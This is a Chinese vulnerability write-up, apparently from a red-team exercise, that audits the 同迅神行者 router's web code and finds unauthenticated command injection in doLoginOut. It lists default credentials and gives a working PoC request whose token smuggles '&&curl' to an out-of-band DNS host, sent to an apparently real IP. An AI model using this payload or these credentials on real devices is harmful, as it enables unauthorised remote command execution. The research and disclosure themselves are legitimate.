引子
某次HW期间看到该漏洞的利用,遂尝试分析一番。
漏洞简介
同迅神行者路由通过系统管理、网络管理、策略管理、监控统计、面板管理五大人机互动管理功能,对流经的所有应用数据进行实时监控与管理。神行者路由流控产品存在未授权命令注入漏洞,攻击者可以利用该漏洞对服务器执行任意命令。
固件下载分析
找到厂商官网,下载中心可以直接获取到路由固件包。
这里直接对 ISO 相关文件进行解压,发现 Web 目录结构如下,若要尝试搭建可以见官方文档,此外,路由默认账号密码是 admin:sxzros。
Python 代码审计
首先直接查看路由的分配,如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| urlpatterns = [ url(r'^favicon.ico$',RedirectView.as_view(url=r'static/assets/img/favicon.ico')), url(r'^$','xapp.vLogin.index'), url(r'^doLogin/$','xapp.vLogin.doLogin'), url(r'^webInfos/$','xapp.vLogin.webInfos'), url(r'^weixinInfos/$','xapp.vLogin.weixinInfos'), url(r'^index/$','xapp.vLogin.index'), url(r'^default/$','xapp.views.default'), url(r'^warning/$','xapp.views.warning'), url(r'^edtPwd/$','xapp.views.edtPwd'), url(r'^doLoginOut/$','xapp.views.doLoginOut'), url(r'^doSyncConfigToSlave/$','xapp.views.doSyncConfigToSlave'), url(r'^iosweixinLogin/$','xapp.views.iosweixinLogin'), url(r'^index/index/$','xapp.vIndex.index'),
|
对各个路由对应的方法进行排查,最终发现,在如下代码片段中,edtPwd
和doSyncConfigToSlave
方法都需要 token 来鉴权,但doLoginOut
方法是没有判断 token 的,且这个方法存在os.system
方法执行系统命令的操作。
进一步分析doLoginOut
方法,可以判断出这个方法是登出操作,在登录成功时,是会在系统某处写一个 token 文件,而退出就是删除这个 token 文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
|
def edtPwd(request): map = request.GET if not 'token' in map or len(map['token']) != 16: return HttpResponseRedirect('/index/') spath = r'/tmpfile/loginfile/'+str(map['token']) logindic = cUtil.getLoginToken(spath) …… return list
def doLoginOut(request): map = request.GET spath = r'/tmpfile/loginfile/'+str(map['token']) delfile = "rm -rf %s"%(spath) os.system(delfile) return HttpResponse(0)
def doSyncConfigToSlave(request): map = request.GET if not 'token' in map or len(map['token']) != 16: return HttpResponseRedirect('/index/') spath = r'/tmpfile/loginfile/'+str(map['token']) …… return JsonResponse(list,safe=False)
|
概念验证步骤
根据如上逻辑,构造一个 POC,如下所示,成功 RCE。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| GET /doLoginOut/?token=%31%31%31%26%26%63%75%72%6c%20%31%62%35%65%39%34%35%38%2e%64%6e%73%2e%31%34%33%33%2e%65%75%2e%6f%72%67 HTTP/1.1 Host: 112.93.240.78:4433 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5220.146 Safari/537.36 OPR/83.0.4416.120 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close
HTTP/1.1 200 OK Server: nginx Date: Sun, 09 Oct 2022 10:53:55 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Frame-Options: SAMEORIGIN Content-Length: 1
0
|